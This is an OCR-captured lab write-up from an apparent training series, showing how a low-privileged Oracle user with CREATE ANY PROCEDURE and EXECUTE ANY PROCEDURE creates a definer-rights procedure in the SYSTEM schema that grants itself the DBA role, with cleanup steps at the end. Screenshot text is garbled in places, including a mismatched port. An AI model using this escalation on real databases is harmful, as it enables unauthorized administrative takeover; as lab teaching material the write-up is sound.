SQL Injection Labs

Challenge 24
Login to the oracle database based on the following information [Level: Intermediate]

Username: user3
Password: password3
IP: 192.168.2.12
Port: 1521
SID: XE
e List the permissions/privileges of current user.

e Escalate privileges and become DBA

Connect to the database:

Login: |user3 |
[~
Password: |oo-...... Lag” |

Driver Class: |oracle.idbc.driver.OracIeDriver |
Driver Location: |3:\Proaram Files foG]\RazorSOL\drivers\oracle\orailan.iar| ’ Browse]
JDEC URL: |idbc:oracIe:thin:@192.168.2.12:1511:XE |
Auto Commit: (3) On () Off () Smart Commit
s @ 015 0! 0 et
Transaction Isolation  |Default -

Connect at Startup ]

List user’s privileges:
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1 CREATE SESSION

2 CREATE ANY PROCEDURE
% 3 EXECUTE ANY PROCEDURE

Note that we have 2 high peivilges:

CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

Note: There is difference in CREATE PROCEDURE and CREATE ANY PROCEDURE.

CREATE PROCEDURE lets you create procedure, but only in your user’s schema. But, CREATE ANY
PROCEDURE lets you create procedure in any user’s schema (but not SYS). Thus, we can create a
procedure in SYSTEM schema called SYSTEM.GETDBA(), and then use our EXECUTE ANY PROCEDURE
privilege to execute this procedure.

While you may argue that the procedure SYSTEM.GETDBA() was created by user3 and thus he is
technically the DEFINER of this procedure and thus by default, the procedure should only execute
with the privileges of DEFINER (user3). As far, as Oracle is concerned, the definer of an object is the
schema in which it belongs and thus the definer of the procedure system.getdba is system and if this
procedure does not have the keyword AUTHID CURRENT_USER defined, then irrespective of who
executes this procedure, it will always run with privileges of definer (SYSTEM).

So, let’s create a procedure in SYSTEM schema:
CREATE OR REPLACE PROCEDURE SYSTEM."GETDBA" is
pragma autonomous_transaction;

BEGIN
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EXECUTE IMMEDIATE 'GRANT DBA TO USER3';
COMMIT;

end;

Note: in the above procedure we have explicitly left out the statement AUTHID CURRENT_USER

File Edit Search DBTools Connections SQL Results Tools Code View Window Help
[®] test.sql | [X] *sqli - test (L).sql | [X] *userl | [X] *scott-sqli | [X] *scott-sqli | (X] *scott-sqli | [X] "dbal = [X] *userl | [X] userl | [X] *userl | [X] Mo Connection22 | [X] *user2 | [X] *user2
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You can expand the SYSTEM schema and check the procedure is created.
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Now we can just execute this procedure and this should give us DBA role:
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Now, if we login again as user3, the user should have DBA role:
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Remember to run:
drop procedure system.getdba
and then:

Revoke dba from user3

1 select * from session_privs
2
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PRIVILEGE |

ALTER SYSTEM

AUDIT SYSTEM

CREATE SESSION

ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MAMNAGE TABLESPACE

9  DROP TABLESPACE

10  UNLIMITED TABLESPACE
A1 CREATE USER

42  BECOME USER

13 ALTER USER

14 DROP USER

15 CREATE ROLLBACK SEGMENT
16 ALTER ROLLBACK SEGMENT
17 DROP ROLLBACK SEGMENT
18 CREATE TABLE

19 CREATE ANY TABLE

20 ALTER AMY TABLE

21 BACKUP ANY TABLE
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